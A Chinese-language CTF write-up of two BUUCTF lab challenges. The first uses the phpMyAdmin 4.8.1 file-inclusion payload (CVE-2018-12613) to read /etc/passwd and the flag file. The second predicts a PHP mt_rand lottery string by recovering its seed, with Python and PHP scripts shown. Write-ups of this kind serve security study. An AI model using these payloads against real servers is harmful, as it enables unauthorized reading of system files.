我有一个数据库

打开靶机,看到这情况我以为环境出错了:

重启了一下靶机,还是这样子…
然后就扫了一下目录,扫到了/robots.txt/phpmyadmin/,看了一下robots.txt,给出了phpinfo.php,访问phpinfo.php,看了半天发现并没有可用的信息:

然后想到还有一个phpmyadmin,就把phpinfo暂且先放下了,访问/phpmyadmin/看了一下,what?版本4.8.1,这不是那个CVE漏洞吗!当时3CTF决赛我没做出来,回来之后复现了好几遍:

直接拿payload打了一下:

1
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

没毛病!可以读取:

BUUCTF平台的flag都在根目录下,直接读取flag:

1
index.php?target=db_sql.php%253f/../../../../../../../../flag

参考链接:CVE-2018-12613

枯燥的抽奖

打开靶机,给出来一段字符,说是猜出全部20位即可得到flag,目前已经给出了10位,所以要猜出剩下的10位:

看了一下网页源码,发现给出了一个url指向check.php,不妨打开开一下:

check.php页面给出了抽奖程序的源码,审计之后发现SESSION是随机生成的数,抽奖答案是英文字母大小写和数字随机组成的二十位字符串,这时候发现源码中有mt_rand()mt_scrand()两个函数,搜了一下发现这题是SWPUCTF2018改编题,考点为PHP伪随机数,看了一下一叶飘零师傅的题解,发现我们可以通过一个名为php_mt_seed的工具恢复出完整字符串的seed然后生成完整字符串:

首先需要通过Python脚本将给出的伪随机数字符串转换成工具可以识别的数据,
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='QUZ7qVvdvM'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print (res)

然后通过工具运算出完整伪随机数的seed:

再通过PHP脚本生成完整字符串:
PHP脚本如下:

1
2
3
4
5
6
7
8
9
10
<?php
mt_srand(788715529);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';
$len1 = 20;
for ($i = 0; $i < $len1; $i++) {
$str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>

提交完整字符串,得到flag: